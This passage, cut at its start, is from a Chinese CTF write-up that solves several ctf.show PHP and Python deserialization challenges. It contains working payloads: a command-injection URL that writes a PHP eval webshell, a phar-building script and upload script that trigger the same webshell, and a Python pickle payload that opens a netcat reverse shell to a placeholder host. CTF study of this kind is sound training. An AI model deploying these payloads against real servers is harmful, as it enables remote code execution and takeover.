unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
一开始以为是条件竞争,但是发了下请求会发现如果在 $_GET['fn']
中带上 /var/www/html/
,后面的 unlink
会因为重复了两遍路径删不掉文件,也就不需要条件竞争就可以持久化写入文件。但是因为正则对文件名进行了限制,没找到可以代替 php
的扩展名,就没能上传 shell
。
再观察可以发现 filter
类的 __destruct
方法中的命令是字符串拼接,那么就可以任意命令执行了。
payload: ?fn=a%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%20%3F%3E'%20%3E%20shell.php%3B
web276
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这道题相比上一题增加了 $admin
的限制,不再能直接执行任意命令。要想通过反序列化实现 $admin === true
,会发现找不到 unserialize
函数,这就需要用到 phar
反序列化,而且正则刚好没有过滤 phar
。
首先构造 phar
的文件,将 filter
存储在 meta-data
中以备反序列化。
<?php
class filter
{
public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";
public $filecontent;
public $evilfile = true;
public $admin = true;
}
@unlink("payload.phar");
$phar = new Phar("payload.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo "done.";
然后因为文件名加上 /var/www/html/
后 unlink
的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar
。
import requests
url = "http://70640f7f-4359-43eb-b966-dcd85bc7f53b.challenge.ctf.show:8080/"
target = "/var/www/html/d.phar"
with open("payload.phar", "rb") as f:
payload = f.read()
_ = requests.post(f"{url}/?fn={target}", data=payload)
target = "phar://d.phar/test"
_ = requests.post(f"{url}/?fn={target}")
蚁剑连接 shell.php
。
web277
html 注释看到 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)
,可知是 python
反序列化漏洞,构造 payload
反弹 shell
。
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)
print(base64.b64encode(pickle.dumps(RCE())))
获取 shell
后 cat flag
。
web278
同 web277
,禁用了 os.system
但不影响 os.popen
。